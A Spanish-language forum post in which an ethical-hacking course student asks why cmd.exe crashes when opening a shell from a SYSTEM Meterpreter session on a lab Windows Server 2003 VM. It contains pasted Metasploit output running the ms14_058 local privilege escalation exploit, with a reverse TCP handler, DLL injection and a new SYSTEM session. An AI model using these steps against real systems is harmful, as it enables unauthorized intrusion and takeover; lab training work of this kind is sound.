Pues he monitorizado con procmon y al ejecutar cmd desde meterpreter me dice success en procmon. La verdad es que ya no sé que hacer.

Nadie me puede ayudar?

El error que da es cmd.exe (0xc0000142)

En el visor de eventos el error que da es este: (error id 1030)

Windows no puede hacer una consulta de la lista de objetos directiva de grupo. Compruebe el registro de eventos ante la posible existencia de mensajes previamente registrados por el motor de directiva que describe el motivo del suceso.

Para obtener más información, vea el Centro de ayuda y soporte técnico en http://go.microsoft.com/fwlink/events.asp.

Buenas, a ver si me podéis echar una mano por que me estoy volviendo loco ya jeje.

Estoy haciendo un curso de hacking ético, y estoy atacando desde kali a una maquina de windows server 2003 que facilitan los del curso.

Y el caso es que consigo una sesión con meterpreter hacia esa maquina y cuando escribo shell para que me abra la linea de comandos se queda ahí atascado. Si voy a la mv ws2003 veo que sale en el escritorio un error de cmd.exe.

El usuario con el que lo intento abrir es NT AUTHORITY\SYSTEM por lo que debería poder abrir cmd.

En cambio si escribo shell con usuario NT AUTHORITY servicio de red abre cmd sin problemas.
Adjunto comandos.

Active sessions
===============

  Id  Name  Type                     Information                                     Connection
  --  ----  ----                     -----------                                     ----------
  9         meterpreter x86/windows  NT AUTHORITY\Servicio de red @ MEGATRON-IN9JJC  192.168.174.128:4444 -> 192.168.174.137:1198 (192.168.174.137)
  10        meterpreter x86/windows  NT AUTHORITY\Servicio de red @ MEGATRON-IN9JJC  192.168.174.128:4444 -> 192.168.174.137:1201 (192.168.174.137)

msf5 exploit(windows/local/ms14_058_track_popup_menu) > set session 10
session => 10
msf5 exploit(windows/local/ms14_058_track_popup_menu) > run

• Started reverse TCP handler on 192.168.174.128:4444
• Launching notepad to host the exploit...
• Process 6096 launched.
• Reflectively injecting the exploit DLL into 6096...
• Injecting exploit into 6096...
• Exploit injected. Injecting payload into 6096...
• Payload injected. Executing exploit...
• Sending stage (180291 bytes) to 192.168.174.137
• Exploit finished, wait for (hopefully privileged) payload execution to complete.
• Meterpreter session 11 opened (192.168.174.128:4444 -> 192.168.174.137:1206) at 2020-04-27 15:33:41 +0200

meterpreter > shell
Process 3348 created.
Channel 1 created.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3404 created.
Channel 2 created.
meterpreter >


He buscado por internet y no veo nada relacionado. He cargado de nuevo la mv ws2003 por si era algo de sistema aunque no tiene sentido por que con el user nt auhority servicios de red si lo abre, pero nada.

Alguna idea? Hago algo mal?